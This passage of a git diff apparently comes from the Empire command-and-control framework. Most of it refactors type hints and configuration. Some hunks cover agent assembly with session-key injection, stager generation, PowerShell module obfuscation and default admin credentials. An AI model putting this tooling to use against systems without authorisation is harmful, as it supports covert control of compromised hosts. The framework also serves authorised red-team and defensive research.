- stager_code = stager_code + f"\nkey = b'{session_key}'"
+
+ stager_code = replace_execute_function(stager_code, session_key)
launch_code = ""
if active_listener.info["Name"] == "HTTP[S] MALLEABLE":
full_agent = "\n".join(
- [stager_code, agent_code, comms_code, launch_code]
+ [agent_code, stager_code, comms_code, launch_code]
)
else:
- full_agent = "\n".join([stager_code, agent_code, launch_code])
+ full_agent = "\n".join([agent_code, stager_code, launch_code])
return full_agent
+
+
+def replace_execute_function(code, session_key):
+ code_first = code.split("def execute(self):")[0]
+ code_last = code.split("agent.run()")[1]
+
+ new_function = f"""
+ def execute(self):
+ self.key = b'{session_key}'
+ self.packet_handler.key = self.key
+ agent = MainAgent(packet_handler=self.packet_handler, profile=self.profile, server=self.server, session_id=self.session_id, kill_date=self.kill_date, working_hours=self.working_hours)
+ self.packet_handler.agent = agent
+ agent.run()
+"""
+
+ return code_first + new_function + code_last
diff --git a/empire/server/config.yaml b/empire/server/config.yaml
index 840125b28..5cc9ff570 100644
--- a/empire/server/config.yaml
+++ b/empire/server/config.yaml
@@ -1,4 +1,6 @@
suppress-self-cert-warning: true
+api:
+ port: 1337
database:
use: mysql
mysql:
@@ -40,10 +42,11 @@ database:
# format is "192.168.1.1,192.168.1.10-192.168.1.100,10.0.0.0/8"
ip-blacklist: ""
starkiller:
+ enabled: true
repo: https://github.com/BC-SECURITY/Starkiller.git
directory: empire/server/api/v2/starkiller
# Can be a branch, tag, or commit hash
- ref: v2.6.1
+ ref: v2.7.1
auto_update: true
plugins:
# Auto-load plugin with defined settings
diff --git a/empire/server/core/agent_file_service.py b/empire/server/core/agent_file_service.py
index 82e3a7c25..47084d5f6 100644
--- a/empire/server/core/agent_file_service.py
+++ b/empire/server/core/agent_file_service.py
@@ -1,5 +1,3 @@
-from typing import List, Optional, Tuple
-
from sqlalchemy import and_
from sqlalchemy.orm import Session
@@ -13,7 +11,7 @@ def __init__(self, main_menu):
@staticmethod
def get_file(
db: Session, agent_id: str, uid: int
- ) -> Optional[Tuple[models.AgentFile, List[models.AgentFile]]]:
+ ) -> tuple[models.AgentFile, list[models.AgentFile]] | None:
found = (
db.query(models.AgentFile)
.filter(
@@ -43,7 +41,7 @@ def get_file(
@staticmethod
def get_file_by_path(
db: Session, agent_id: str, path: str
- ) -> Optional[Tuple[models.AgentFile, List[models.AgentFile]]]:
+ ) -> tuple[models.AgentFile, list[models.AgentFile]] | None:
found = (
db.query(models.AgentFile)
.filter(
diff --git a/empire/server/core/agent_service.py b/empire/server/core/agent_service.py
index 3ae958091..93af855ed 100644
--- a/empire/server/core/agent_service.py
+++ b/empire/server/core/agent_service.py
@@ -1,7 +1,6 @@
import logging
import queue
from datetime import datetime, timezone
-from typing import List, Optional
from sqlalchemy import and_, func
from sqlalchemy.orm import Session
@@ -65,11 +64,11 @@ def update_agent(self, db: Session, db_agent: models.Agent, agent_req):
@staticmethod
def get_agent_checkins(
db: Session,
- agents: List[str] = None,
+ agents: list[str] = None,
limit: int = -1,
offset: int = 0,
- start_date: Optional[datetime] = None,
- end_date: Optional[datetime] = None,
+ start_date: datetime | None = None,
+ end_date: datetime | None = None,
order_direction: OrderDirection = OrderDirection.desc,
):
query = db.query(
@@ -97,16 +96,16 @@ def get_agent_checkins(
results = query.all()
total = 0 if len(results) == 0 else results[0].total
- results = list(map(lambda x: x[0], results))
+ results = [x[0] for x in results]
return results, total
@staticmethod
def get_agent_checkins_aggregate(
db: Session,
- agents: List[str] = None,
- start_date: Optional[datetime] = None,
- end_date: Optional[datetime] = None,
+ agents: list[str] = None,
+ start_date: datetime | None = None,
+ end_date: datetime | None = None,
bucket_size: AggregateBucket = None,
):
"""
diff --git a/empire/server/core/agent_task_service.py b/empire/server/core/agent_task_service.py
index 058715661..955574d64 100644
--- a/empire/server/core/agent_task_service.py
+++ b/empire/server/core/agent_task_service.py
@@ -5,7 +5,6 @@
from collections import defaultdict
from datetime import datetime
from pathlib import Path
-from typing import Dict, List, Optional, Tuple
from pydantic import BaseModel
from sqlalchemy import and_, func, or_
@@ -42,19 +41,19 @@ def __init__(self, main_menu):
@staticmethod
def get_tasks(
db: Session,
- agents: List[str] = None,
- users: List[int] = None,
- tags: List[str] = None,
+ agents: list[str] = None,
+ users: list[int] = None,
+ tags: list[str] = None,
limit: int = -1,
offset: int = 0,
include_full_input: bool = False,
include_original_output: bool = False,
include_output: bool = True,
- since: Optional[datetime] = None,
+ since: datetime | None = None,
order_by: AgentTaskOrderOptions = AgentTaskOrderOptions.id,
order_direction: OrderDirection = OrderDirection.desc,
- status: Optional[AgentTaskStatus] = None,
- q: Optional[str] = None,
+ status: AgentTaskStatus | None = None,
+ q: str | None = None,
):
query = db.query(
models.AgentTask, func.count(models.AgentTask.id).over().label("total")
@@ -124,7 +123,7 @@ def get_tasks(
results = query.all()
total = 0 if len(results) == 0 else results[0].total
- results = list(map(lambda x: x[0], results))
+ results = [x[0] for x in results]
return results, total
@@ -343,7 +342,7 @@ def create_task_directory_list(
return self.add_task(db, agent, "TASK_DIR_LIST", path, user_id=user_id)
def create_task_proxy_list(
- self, db: Session, agent: models.Agent, body: Dict, user_id: int
+ self, db: Session, agent: models.Agent, body: dict, user_id: int
):
agent.proxies = body
return self.add_task(
@@ -360,11 +359,11 @@ class TemporaryTask(BaseModel):
agent_id: str
task_name: str
input_full: str
- module_name: Optional[str]
+ module_name: str | None = None
def add_temporary_task(
self, agent_id: str, task_name, task_input="", module_name: str = None
- ) -> Tuple[Optional[TemporaryTask], Optional[str]]:
+ ) -> tuple[TemporaryTask | None, str | None]:
"""
Add a temporary task for the agent to execute. These tasks are not saved in the database,
since they don't provide any value to end users and can be very write-heavy.
@@ -387,7 +386,7 @@ def add_task(
task_input="",
module_name: str = None,
user_id: int = 0,
- ) -> Tuple[Optional[models.AgentTask], Optional[str]]:
+ ) -> tuple[models.AgentTask | None, str | None]:
"""
Task an agent. Adapted from agents.py
"""
diff --git a/empire/server/core/config.py b/empire/server/core/config.py
index ce50e6b15..79f6fabe7 100644
--- a/empire/server/core/config.py
+++ b/empire/server/core/config.py
@@ -1,21 +1,35 @@
import logging
import sys
-from typing import Dict, List
+from pathlib import Path
import yaml
-from pydantic import BaseModel, Extra, Field
+from pydantic import BaseModel, ConfigDict, Field, field_validator
log = logging.getLogger(__name__)
-class StarkillerConfig(BaseModel):
+class EmpireBaseModel(BaseModel):
+ @classmethod
+ @field_validator("*")
+ def set_path(cls, v):
+ if isinstance(v, Path):
+ return v.expanduser().resolve()
+ return v
+
+
+class ApiConfig(EmpireBaseModel):
+ port: int = 1337
+
+
+class StarkillerConfig(EmpireBaseModel):
repo: str = "bc-security/starkiller"
- directory: str = "empire/server/api/v2/starkiller"
+ directory: Path = "empire/server/api/v2/starkiller"
ref: str = "main"
auto_update: bool = True
+ enabled: bool | None = True
-class DatabaseDefaultObfuscationConfig(BaseModel):
+class DatabaseDefaultObfuscationConfig(EmpireBaseModel):
language: str = "powershell"
enabled: bool = False
command: str = r"Token\All\1"
@@ -23,28 +37,28 @@ class DatabaseDefaultObfuscationConfig(BaseModel):
preobfuscatable: bool = True
-class DatabaseDefaultsConfig(BaseModel):
+class DatabaseDefaultsConfig(EmpireBaseModel):
staging_key: str = "RANDOM"
username: str = "empireadmin"
password: str = "password123"
- obfuscation: List[DatabaseDefaultObfuscationConfig] = []
- keyword_obfuscation: List[str] = []
+ obfuscation: list[DatabaseDefaultObfuscationConfig] = []
+ keyword_obfuscation: list[str] = []
ip_whitelist: str = Field("", alias="ip-whitelist")
ip_blacklist: str = Field("", alias="ip-blacklist")
-class SQLiteDatabaseConfig(BaseModel):
- location: str = "empire/server/data/empire.db"
+class SQLiteDatabaseConfig(EmpireBaseModel):
+ location: Path = "empire/server/data/empire.db"
-class MySQLDatabaseConfig(BaseModel):
+class MySQLDatabaseConfig(EmpireBaseModel):
url: str = "localhost:3306"
username: str = ""
password: str = ""
database_name: str = "empire"
-class DatabaseConfig(BaseModel):
+class DatabaseConfig(EmpireBaseModel):
use: str = "sqlite"
sqlite: SQLiteDatabaseConfig
mysql: MySQLDatabaseConfig
@@ -54,55 +68,56 @@ def __getitem__(self, key):
return getattr(self, key)
-class DirectoriesConfig(BaseModel):
- downloads: str
- module_source: str
- obfuscated_module_source: str
+class DirectoriesConfig(EmpireBaseModel):
+ downloads: Path
+ module_source: Path
+ obfuscated_module_source: Path
-class LoggingConfig(BaseModel):
+class LoggingConfig(EmpireBaseModel):
level: str = "INFO"
- directory: str = "empire/server/downloads/logs/"
+ directory: Path = "empire/server/downloads/logs/"
simple_console: bool = True
-class LastTaskConfig(BaseModel):
+class LastTaskConfig(EmpireBaseModel):
enabled: bool = False
- file: str = "empire/server/data/last_task.txt"
+ file: Path = "empire/server/data/last_task.txt"
-class DebugConfig(BaseModel):
+class DebugConfig(EmpireBaseModel):
last_task: LastTaskConfig
-class EmpireConfig(BaseModel):
+class EmpireConfig(EmpireBaseModel):
supress_self_cert_warning: bool = Field(
alias="supress-self-cert-warning", default=True
)
+ api: ApiConfig | None = ApiConfig()
starkiller: StarkillerConfig
database: DatabaseConfig
- plugins: Dict[str, Dict[str, str]] = {}
+ plugins: dict[str, dict[str, str]] = {}
directories: DirectoriesConfig
logging: LoggingConfig
debug: DebugConfig
- def __init__(self, config_dict: Dict):
+ model_config = ConfigDict(extra="allow")
+
+ def __init__(self, config_dict: dict):
super().__init__(**config_dict)
# For backwards compatibility
self.yaml = config_dict
- class Config:
- extra = Extra.allow
-
def set_yaml(location: str):
+ location = Path(location).expanduser().resolve()
try:
- with open(location) as stream:
+ with location.open() as stream:
return yaml.safe_load(stream)
except yaml.YAMLError as exc:
- print(exc)
+ log.warning(exc)
except FileNotFoundError as exc:
- print(exc)
+ log.warning(exc)
config_dict = {}
diff --git a/empire/server/core/credential_service.py b/empire/server/core/credential_service.py
index 715a8b07d..4294b4e53 100644
--- a/empire/server/core/credential_service.py
+++ b/empire/server/core/credential_service.py
@@ -10,7 +10,9 @@ def __init__(self, main_menu):
self.main_menu = main_menu
@staticmethod
- def get_all(db: Session, search: str = None, credtype: str = None):
+ def get_all(
+ db: Session, search: str = None, credtype: str = None, tags: list[str] = None
+ ):
query = db.query(models.Credential)
if search:
@@ -23,13 +25,22 @@ def get_all(db: Session, search: str = None, credtype: str = None):
)
)
+ if tags:
+ tags_split = [tag.split(":", 1) for tag in tags]
+ query = query.join(models.Credential.tags).filter(
+ and_(
+ models.Tag.name.in_([tag[0] for tag in tags_split]),
+ models.Tag.value.in_([tag[1] for tag in tags_split]),
+ )
+ )
+
if credtype:
query = query.filter(models.Credential.credtype == credtype)
return query.all()
@staticmethod
- def get_by_id(db: Session, uid: int):
+ def get_by_id(db: Session, uid: int) -> models.Credential | None:
return db.query(models.Credential).filter(models.Credential.id == uid).first()
@staticmethod
diff --git a/empire/server/core/db/base.py b/empire/server/core/db/base.py
index 9a4876264..704e04e52 100644
--- a/empire/server/core/db/base.py
+++ b/empire/server/core/db/base.py
@@ -5,7 +5,7 @@
from sqlalchemy import UniqueConstraint, create_engine, event, text
from sqlalchemy.engine import Engine
from sqlalchemy.exc import OperationalError
-from sqlalchemy.orm import sessionmaker
+from sqlalchemy.orm import close_all_sessions, sessionmaker
from empire.server.core.db import models
from empire.server.core.db.defaults import (
@@ -47,7 +47,7 @@ def try_create_engine(engine_url: str, *args, **kwargs) -> Engine:
def reset_db():
- SessionLocal.close_all()
+ close_all_sessions()
if use == "mysql":
cmd = f"DROP DATABASE IF EXISTS {database_config.database_name}"
diff --git a/empire/server/core/db/models.py b/empire/server/core/db/models.py
index a33c87017..b27bedf44 100644
--- a/empire/server/core/db/models.py
+++ b/empire/server/core/db/models.py
@@ -1,7 +1,6 @@
import base64
import enum
import os
-from typing import List
from sqlalchemy import (
JSON,
@@ -21,9 +20,8 @@
text,
)
from sqlalchemy.dialects import mysql
-from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.ext.hybrid import hybrid_property
-from sqlalchemy.orm import Mapped, deferred, relationship
+from sqlalchemy.orm import Mapped, declarative_base, deferred, relationship
from sqlalchemy_utc import UtcDateTime, utcnow
from empire.server.core.config import empire_config
@@ -215,7 +213,7 @@ class Agent(Base):
session_key = Column(String(255))
nonce = Column(String(255))
firstseen_time = Column(UtcDateTime, default=utcnow())
- checkins: Mapped[List[AgentCheckIn]] = relationship(
+ checkins: Mapped[list[AgentCheckIn]] = relationship(
"AgentCheckIn",
order_by="desc(AgentCheckIn.checkin_time)",
lazy="dynamic",
diff --git a/empire/server/core/download_service.py b/empire/server/core/download_service.py
index b582b3fa1..45cc33557 100644
--- a/empire/server/core/download_service.py
+++ b/empire/server/core/download_service.py
@@ -2,7 +2,6 @@
import shutil
from operator import and_
from pathlib import Path
-from typing import List, Optional, Tuple, Union
from fastapi import UploadFile
from sqlalchemy import func, or_
@@ -28,14 +27,14 @@ def get_by_id(db: Session, uid: int):
@staticmethod
def get_all(
db: Session,
- download_types: Optional[List[DownloadSourceFilter]],
- tags: List[str] = None,
+ download_types: list[DownloadSourceFilter] | None,
+ tags: list[str] = None,
q: str = None,
limit: int = -1,
offset: int = 0,
order_by: DownloadOrderOptions = DownloadOrderOptions.updated_at,
order_direction: OrderDirection = OrderDirection.desc,
- ) -> Tuple[List[models.Download], int]:
+ ) -> tuple[list[models.Download], int]:
query = db.query(
models.Download, func.count(models.Download.id).over().label("total")
)
@@ -112,7 +111,7 @@ def get_all(
results = query.all()
total = 0 if len(results) == 0 else results[0].total
- results = list(map(lambda x: x[0], results))
+ results = [x[0] for x in results]
return results, total
@@ -122,7 +121,7 @@ def create_download_from_text(
user: models.User,
file: str,
filename: str,
- subdirectory: Optional[str] = None,
+ subdirectory: str | None = None,
):
"""
Upload the file to the downloads directory and save a reference to the db.
@@ -130,10 +129,7 @@ def create_download_from_text(
"""
subdirectory = subdirectory or f"user/{user.username}"
location = (
- Path(empire_config.directories.downloads)
- / "uploads"
- / subdirectory
- / filename
+ empire_config.directories.downloads / "uploads" / subdirectory / filename
)
location.parent.mkdir(parents=True, exist_ok=True)
@@ -144,9 +140,7 @@ def create_download_from_text(
return self._save_download(db, filename, location)
- def create_download(
- self, db: Session, user: models.User, file: Union[UploadFile, Path]
- ):
+ def create_download(self, db: Session, user: models.User, file: UploadFile | Path):
"""
Upload the file to the downloads directory and save a reference to the db.
:param db:
@@ -160,10 +154,7 @@ def create_download(
filename = file.filename
location = (
- Path(empire_config.directories.downloads)
- / "uploads"
- / user.username
- / filename
+ empire_config.directories.downloads / "uploads" / user.username / filename
)
location.parent.mkdir(parents=True, exist_ok=True)
diff --git a/empire/server/core/hooks.py b/empire/server/core/hooks.py
index 2d05b9212..8855c50d0 100644
--- a/empire/server/core/hooks.py
+++ b/empire/server/core/hooks.py
@@ -1,6 +1,6 @@
import asyncio
import logging
-from typing import Callable, Dict
+from collections.abc import Callable
log = logging.getLogger(__name__)
@@ -46,8 +46,8 @@ class Hooks:
AFTER_TAG_UPDATED_HOOK = "after_tag_updated_hook"
def __init__(self):
- self.hooks: Dict[str, Dict[str, Callable]] = {}
- self.filters: Dict[str, Dict[str, Callable]] = {}
+ self.hooks: dict[str, dict[str, Callable]] = {}
+ self.filters: dict[str, dict[str, Callable]] = {}
def register_hook(self, event: str, name: str, hook: Callable):
"""
diff --git a/empire/server/core/hooks_internal.py b/empire/server/core/hooks_internal.py
index 5cbeed251..ff5d0dea9 100644
--- a/empire/server/core/hooks_internal.py
+++ b/empire/server/core/hooks_internal.py
@@ -44,7 +44,7 @@ def ps_hook(db: Session, task: models.AgentTask):
.filter(models.HostProcess.host_id == task.agent.host_id)
.all()
)
- existing_processes = list(map(lambda p: p[0], existing_processes))
+ existing_processes = [p[0] for p in existing_processes]
for process in output:
process_name = process.get("CMD") or process.get("ProcessName") or ""
@@ -82,8 +82,8 @@ def ps_hook(db: Session, task: models.AgentTask):
for process in existing_processes:
# mark processes that are no longer running stale
- if process not in list(map(lambda p: int(p.get("PID")), output)):
- db_process: models.HostProcess = (
+ if process not in [int(p.get("PID")) for p in output]:
+ db_process: models.HostProcess | None = (
db.query(models.HostProcess)
.filter(
and_(
diff --git a/empire/server/core/listener_service.py b/empire/server/core/listener_service.py
index ff54fe04d..90d8b02be 100644
--- a/empire/server/core/listener_service.py
+++ b/empire/server/core/listener_service.py
@@ -1,7 +1,7 @@
import copy
import hashlib
import logging
-from typing import Any, Dict, List, Optional, Tuple
+from typing import Any
from sqlalchemy.orm import Session
@@ -31,15 +31,15 @@ def __init__(self, main_menu):
self._active_listeners = {}
@staticmethod
- def get_all(db: Session) -> List[models.Listener]:
+ def get_all(db: Session) -> list[models.Listener]:
return db.query(models.Listener).all()
@staticmethod
- def get_by_id(db: Session, uid: int) -> Optional[models.Listener]:
+ def get_by_id(db: Session, uid: int) -> models.Listener | None:
return db.query(models.Listener).filter(models.Listener.id == uid).first()
@staticmethod
- def get_by_name(db: Session, name: str) -> Optional[models.Listener]:
+ def get_by_name(db: Session, name: str) -> models.Listener | None:
return db.query(models.Listener).filter(models.Listener.name == name).first()
def get_active_listeners(self):
@@ -112,7 +112,7 @@ def create_listener(self, db: Session, listener_req):
def stop_listener(self, db_listener: models.Listener):
if self._active_listeners.get(db_listener.id):
- self._active_listeners[db_listener.id].shutdown(name=db_listener.name)
+ self._active_listeners[db_listener.id].shutdown()
del self._active_listeners[db_listener.id]
def delete_listener(self, db: Session, db_listener: models.Listener):
@@ -126,7 +126,7 @@ def shutdown_listeners(self):
def start_existing_listener(self, db: Session, listener: models.Listener):
listener.enabled = True
- options = dict(map(lambda x: (x[0], x[1]["Value"]), listener.options.items()))
+ options = {x[0]: x[1]["Value"] for x in listener.options.items()}
template_instance, err = self._validate_listener_options(
db, listener.module, options
)
@@ -135,7 +135,7 @@ def start_existing_listener(self, db: Session, listener: models.Listener):
log.error(err)
return None, err
- success = template_instance.start(name=listener.name)
+ success = template_instance.start()
db.flush()
if success:
@@ -160,7 +160,7 @@ def _start_listener(self, db: Session, template_instance, template_name):
name = template_instance.options["Name"]["Value"]
try:
log.info(f"v2: Starting listener '{name}'")
- success = template_instance.start(name=name)
+ success = template_instance.start()
if success:
listener_options = copy.deepcopy(template_instance.options)
@@ -194,8 +194,8 @@ def _start_listener(self, db: Session, template_instance, template_name):
return None, msg
def _validate_listener_options(
- self, db: Session, template: str, params: Dict
- ) -> Tuple[Optional[Any], Optional[str]]:
+ self, db: Session, template: str, params: dict
+ ) -> tuple[Any | None, str | None]:
"""
Validates the new listener's options. Constructs a new "Listener" object.
:param template:
diff --git a/empire/server/core/listener_template_service.py b/empire/server/core/listener_template_service.py
index 691f30586..7450e058b 100644
--- a/empire/server/core/listener_template_service.py
+++ b/empire/server/core/listener_template_service.py
@@ -2,7 +2,6 @@
import importlib.util
import logging
import os
-from typing import Optional
from sqlalchemy.orm import Session
@@ -32,7 +31,7 @@ def new_instance(self, template: str):
return instance
- def get_listener_template(self, name: str) -> Optional[object]:
+ def get_listener_template(self, name: str) -> object | None:
return self._loaded_listener_templates.get(name)
def get_listener_templates(self):
diff --git a/empire/server/core/module_models.py b/empire/server/core/module_models.py
index 3d382eb75..d18930b30 100644
--- a/empire/server/core/module_models.py
+++ b/empire/server/core/module_models.py
@@ -1,7 +1,7 @@
from enum import Enum
-from typing import Any, Dict, List, Optional
+from typing import Any
-from pydantic import BaseModel
+from pydantic import BaseModel, field_validator
class LanguageEnum(str, Enum):
@@ -19,13 +19,26 @@ class EmpireModuleAdvanced(BaseModel):
class EmpireModuleOption(BaseModel):
name: str
- name_in_code: Optional[str]
+ name_in_code: str | None = None
description: str = ""
required: bool = False
value: str = ""
- suggested_values: List[str] = []
+ suggested_values: list[str] = []
strict: bool = False
- type: Optional[str]
+ type: str | None = None
+
+ # Ensure the functionality of pydantic v1 coercing values to strings
+ # https://github.com/pydantic/pydantic/issues/5606
+ @field_validator("value", mode="plain")
+ @classmethod
+ def check_value(cls, v):
+ return str(v)
+
+ # @classmethod
+ @field_validator("suggested_values", mode="plain")
+ @classmethod
+ def check_suggested_values(cls, v):
+ return [str(value) for value in v]
class EmpireModuleAuthor(BaseModel):
@@ -37,25 +50,25 @@ class EmpireModuleAuthor(BaseModel):
class EmpireModule(BaseModel):
id: str
name: str
- authors: List[EmpireModuleAuthor] = []
+ authors: list[EmpireModuleAuthor] = []
description: str = ""
software: str = ""
- techniques: List[str] = []
- tactics: List[str] = []
+ techniques: list[str] = []
+ tactics: list[str] = []
background: bool = False
- output_extension: Optional[str] = None
+ output_extension: str | None = None
needs_admin: bool = False
opsec_safe: bool = False
language: LanguageEnum
- min_language_version: Optional[str]
- comments: List[str] = []
- options: List[EmpireModuleOption] = []
- script: Optional[str] = None
- script_path: Optional[str] = None
+ min_language_version: str | None = None
+ comments: list[str] = []
+ options: list[EmpireModuleOption] = []
+ script: str | None = None
+ script_path: str | None = None
script_end: str = " {{ PARAMS }}"
enabled: bool = True
advanced: EmpireModuleAdvanced = EmpireModuleAdvanced()
- compiler_yaml: Optional[str]
+ compiler_yaml: str | None = None
def matches(self, query: str, parameter: str = "any") -> bool:
query = query.lower()
@@ -72,7 +85,7 @@ def matches(self, query: str, parameter: str = "any") -> bool:
return match[parameter]
@property
- def info(self) -> Dict:
+ def info(self) -> dict:
desc = self.dict(include={"name", "authors", "description", "comments"})
desc["options"] = [option.dict() for option in self.options]
return desc
diff --git a/empire/server/core/module_service.py b/empire/server/core/module_service.py
index 5473c8ecc..17e9416d2 100644
--- a/empire/server/core/module_service.py
+++ b/empire/server/core/module_service.py
@@ -3,7 +3,6 @@
import logging
import os
from pathlib import Path
-from typing import Dict, List, Optional, Tuple
import yaml
from packaging.version import parse
@@ -54,7 +53,7 @@ def update_module(
self.modules.get(module.id).enabled = module_req.enabled
def update_modules(self, db: Session, module_req: ModuleBulkUpdateRequest):
- db_modules: List[models.Module] = (
+ db_modules: list[models.Module] = (
db.query(models.Module)
.filter(models.Module.id.in_(module_req.modules))
.all()
@@ -71,11 +70,11 @@ def execute_module(
db: Session,
agent: models.Agent,
module_id: str,
- params: Dict,
+ params: dict,
ignore_language_version_check: bool = False,
ignore_admin_check: bool = False,
- modified_input: Optional[str] = None,
- ) -> Tuple[Optional[Dict], Optional[str]]:
+ modified_input: str | None = None,
+ ) -> tuple[dict | None, str | None]:
"""
Execute the module. Note this doesn't actually add the task to the queue,
it only generates the module data needed for a task to be created.
@@ -199,10 +198,10 @@ def _validate_module_params(
db: Session,
module: EmpireModule,
agent: models.Agent,
- params: Dict[str, str],
+ params: dict[str, str],
ignore_language_version_check: bool = False,
ignore_admin_check: bool = False,
- ) -> Tuple[Optional[Dict[str, str]], Optional[str]]:
+ ) -> tuple[dict[str, str] | None, str | None]:
"""
Given a module and execution params, validate the input and return back a clean Dict for execution.
:param module: EmpireModule
@@ -238,9 +237,9 @@ def _generate_script(
self,
db: Session,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscation_config: models.ObfuscationConfig = None,
- ) -> Tuple[Optional[str], Optional[str]]:
+ ) -> tuple[str | None, str | None]:
"""
Generate the script to execute
:param module: the execution parameters (already validated)
@@ -285,9 +284,9 @@ def _generate_script(
def _generate_script_python(
self,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscaton_config: models.ObfuscationConfig,
- ) -> Tuple[Optional[str], Optional[str]]:
+ ) -> tuple[str | None, str | None]:
obfuscate = obfuscaton_config.enabled
if module.script_path:
@@ -314,9 +313,9 @@ def _generate_script_python(
def _generate_script_powershell(
self,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscaton_config: models.ObfuscationConfig,
- ) -> Tuple[Optional[str], Optional[str]]:
+ ) -> tuple[str | None, str | None]:
obfuscate = obfuscaton_config.enabled
obfuscate_command = obfuscaton_config.command
@@ -387,9 +386,9 @@ def _generate_script_powershell(
def _generate_script_csharp(
self,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscation_config: models.ObfuscationConfig,
- ) -> Tuple[Optional[str], Optional[str]]:
+ ) -> tuple[str | None, str | None]:
try:
compiler = self.main_menu.pluginsv2.get_by_id("csharpserver")
if not compiler.status == "ON":
@@ -551,7 +550,7 @@ def get_module_script(self, module_id: str):
def get_module_source(
self, module_name: str, obfuscate: bool = False, obfuscate_command: str = ""
- ) -> Tuple[Optional[str], Optional[str]]:
+ ) -> tuple[str | None, str | None]:
"""
Get the obfuscated/unobfuscated module source code.
"""
diff --git a/empire/server/core/obfuscation_service.py b/empire/server/core/obfuscation_service.py
index 9ca62724d..2c7199547 100644
--- a/empire/server/core/obfuscation_service.py
+++ b/empire/server/core/obfuscation_service.py
@@ -100,7 +100,6 @@ def preobfuscate_modules(
files = self._get_module_source_files(db_obf_config.language)
for file in files:
- file = os.getcwd() + "/" + file
if reobfuscate or not self._is_obfuscated(file):
message = f"Obfuscating {os.path.basename(file)}..."
log.info(message)
@@ -133,8 +132,8 @@ def obfuscate_module(
obfuscated_code = self.obfuscate(module_code, obfuscation_command)
obfuscated_source = module_source.replace(
- empire_config.directories.module_source,
- empire_config.directories.obfuscated_module_source,
+ str(empire_config.directories.module_source),
+ str(empire_config.directories.obfuscated_module_source),
)
try:
@@ -230,12 +229,16 @@ def _get_obfuscated_module_source_files(self, language: str):
return paths
- def _is_obfuscated(self, module_source):
+ def _is_obfuscated(self, module_source: str | Path):
+ if isinstance(module_source, Path):
+ module_source = str(module_source)
+
obfuscated_source = module_source.replace(
- empire_config.directories.module_source,
- empire_config.directories.obfuscated_module_source,
+ str(empire_config.directories.module_source),
+ str(empire_config.directories.obfuscated_module_source),
)
- return os.path.isfile(obfuscated_source)
+
+ return Path(obfuscated_source).exists()
def _convert_obfuscation_command(self, obfuscate_command):
return (
diff --git a/empire/server/core/plugin_service.py b/empire/server/core/plugin_service.py
index 7be4e7983..020c924ac 100644
--- a/empire/server/core/plugin_service.py
+++ b/empire/server/core/plugin_service.py
@@ -4,7 +4,6 @@
import logging
import os
from datetime import datetime
-from typing import List, Optional, Tuple, Union
from sqlalchemy import and_, func, or_
from sqlalchemy.orm import Session, joinedload, undefer
@@ -112,8 +111,8 @@ def execute_plugin(
db: Session,
plugin,
plugin_req: PluginExecutePostRequest,
- user: Optional[models.User] = None,
- ) -> Tuple[Optional[Union[bool, str]], Optional[str]]:
+ user: models.User | None = None,
+ ) -> tuple[bool | str | None, str | None]:
cleaned_options, err = validate_options(
plugin.options, plugin_req.options, db, self.download_service
)
@@ -196,18 +195,18 @@ def get_task(self, db: SessionLocal, plugin_id: str, task_id: int):
@staticmethod
def get_tasks(
db: Session,
- plugins: List[str] = None,
- users: List[int] = None,
- tags: List[str] = None,
+ plugins: list[str] = None,
+ users: list[int] = None,
+ tags: list[str] = None,
limit: int = -1,
offset: int = 0,
include_full_input: bool = False,
include_output: bool = True,
- since: Optional[datetime] = None,
+ since: datetime | None = None,
order_by: PluginTaskOrderOptions = PluginTaskOrderOptions.id,
order_direction: OrderDirection = OrderDirection.desc,
- status: Optional[AgentTaskStatus] = None,
- q: Optional[str] = None,
+ status: AgentTaskStatus | None = None,
+ q: str | None = None,
):
query = db.query(
models.PluginTask, func.count(models.PluginTask.id).over().label("total")
@@ -275,7 +274,7 @@ def get_tasks(
results = query.all()
total = 0 if len(results) == 0 else results[0].total
- results = list(map(lambda x: x[0], results))
+ results = [x[0] for x in results]
return results, total
diff --git a/empire/server/core/stager_service.py b/empire/server/core/stager_service.py
index 0853b96fd..780be0b1d 100644
--- a/empire/server/core/stager_service.py
+++ b/empire/server/core/stager_service.py
@@ -1,8 +1,7 @@
import copy
import os
import uuid
-from pathlib import Path
-from typing import Any, Dict, Optional, Tuple
+from typing import Any
from sqlalchemy.orm import Session
@@ -37,8 +36,8 @@ def get_by_name(db: Session, name: str):
return db.query(models.Stager).filter(models.Stager.name == name).first()
def validate_stager_options(
- self, db: Session, template: str, params: Dict
- ) -> Tuple[Optional[Any], Optional[str]]:
+ self, db: Session, template: str, params: dict
+ ) -> tuple[Any | None, str | None]:
"""
Validates the new listener's options. Constructs a new "Listener" object.
:param template:
@@ -89,9 +88,7 @@ def create_stager(self, db: Session, stager_req, save: bool, user_id: int):
return None, err
stager_options = copy.deepcopy(template_instance.options)
- stager_options = dict(
- map(lambda x: (x[0], x[1]["Value"]), stager_options.items())
- )
+ stager_options = {x[0]: x[1]["Value"] for x in stager_options.items()}
db_stager = models.Stager(
name=stager_req.name,
@@ -138,9 +135,7 @@ def update_stager(self, db: Session, db_stager: models.Stager, stager_req):
return None, err
stager_options = copy.deepcopy(template_instance.options)
- stager_options = dict(
- map(lambda x: (x[0], x[1]["Value"]), stager_options.items())
- )
+ stager_options = {x[0]: x[1]["Value"] for x in stager_options.items()}
db_stager.options = stager_options
download = models.Download(
@@ -169,7 +164,7 @@ def generate_stager(self, template_instance):
file_name = f"{uuid.uuid4()}.txt"
file_name = (
- Path(empire_config.directories.downloads) / "generated-stagers" / file_name
+ empire_config.directories.downloads / "generated-stagers" / file_name
)
file_name.parent.mkdir(parents=True, exist_ok=True)
mode = "w" if isinstance(resp, str) else "wb"
diff --git a/empire/server/core/stager_template_service.py b/empire/server/core/stager_template_service.py
index 2150c2d79..aab5e011e 100644
--- a/empire/server/core/stager_template_service.py
+++ b/empire/server/core/stager_template_service.py
@@ -2,7 +2,6 @@
import importlib.util
import logging
import os
-from typing import Optional
from sqlalchemy.orm import Session
@@ -34,7 +33,7 @@ def new_instance(self, template: str):
def get_stager_template(
self, name: str
- ) -> Optional[object]: # would be nice to have a BaseListener object.
+ ) -> object | None: # would be nice to have a BaseListener object.
return self._loaded_stager_templates.get(name)
def get_stager_templates(self):
diff --git a/empire/server/core/tag_service.py b/empire/server/core/tag_service.py
index 8cda646e4..b548ec991 100644
--- a/empire/server/core/tag_service.py
